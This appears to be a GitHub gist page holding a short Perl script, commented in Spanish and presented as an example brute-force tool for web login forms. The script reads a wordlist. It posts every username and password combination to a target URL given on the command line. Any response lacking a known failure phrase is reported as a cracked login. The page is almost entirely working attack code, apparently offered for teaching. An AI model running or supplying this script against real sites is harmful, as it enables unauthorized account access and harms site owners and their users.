Created
May 29, 2012 13:48
-
-
Save durbon/2828472 to your computer and use it in GitHub Desktop.
perl script de ejemplo para hacer un ataque de fuerza bruta
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Ejemplo de 'brute-forcer' para formularios web | |
# Yago Jesus @YJesus | |
use LWP::UserAgent; | |
use strict ; | |
#Si no hay al menos un argumento, mostramos la ayuda | |
if ($#ARGV < 0) { | |
print "Usage:\n"; | |
print "perl brutter.pl URL\n"; | |
exit(); | |
} | |
my $urltohack = @ARGV[0]; | |
#Abrimos el contenido del diccionario | |
open (FILE,"diccionario.txt") || die "No puedo abrir el fichero diccionario: $!"; | |
#Pasamos el contenido del fichero a memoria, OJO diccionarios muy grandes y poca memoria RAM | |
my @diccionario = <FILE> ; | |
#Instanciamos un LWP para navegar | |
my $ua = new LWP::UserAgent; | |
#Fijamos la URL objetivo y seleccionamos el metodo POST | |
my $req = new HTTP::Request 'POST',$urltohack; | |
foreach(@diccionario) { | |
my $usuario = $_ ; | |
chomp($usuario) ; | |
foreach(@diccionario) { | |
my $password = $_ ; | |
chomp($password) ; | |
#Construimos las cabeceras | |
$req->content_type('application/x-www-form-urlencoded'); | |
#Fijamos login / pass | |
$req->content("&username=$usuario&password=$password&Submit=Enviar+consulta"); | |
#hacemos la peticion | |
my $res = $ua->request($req); | |
#obtenemos la respuesta del servidor y la almacenamos en una variable | |
my $respuesta = $res->as_string; | |
#print "$respuesta\n" ; | |
#Buscamos en la respuesta la frase "MUY mal" que ya sabemos indica una auth fallida | |
if ( $respuesta !~ /MUY mal/) { | |
#Si no está asumimos que hemos encontrado el usuario y contraseña | |
print "Enhorabuena ! usuario--> $usuario password --> $password\n" ; | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment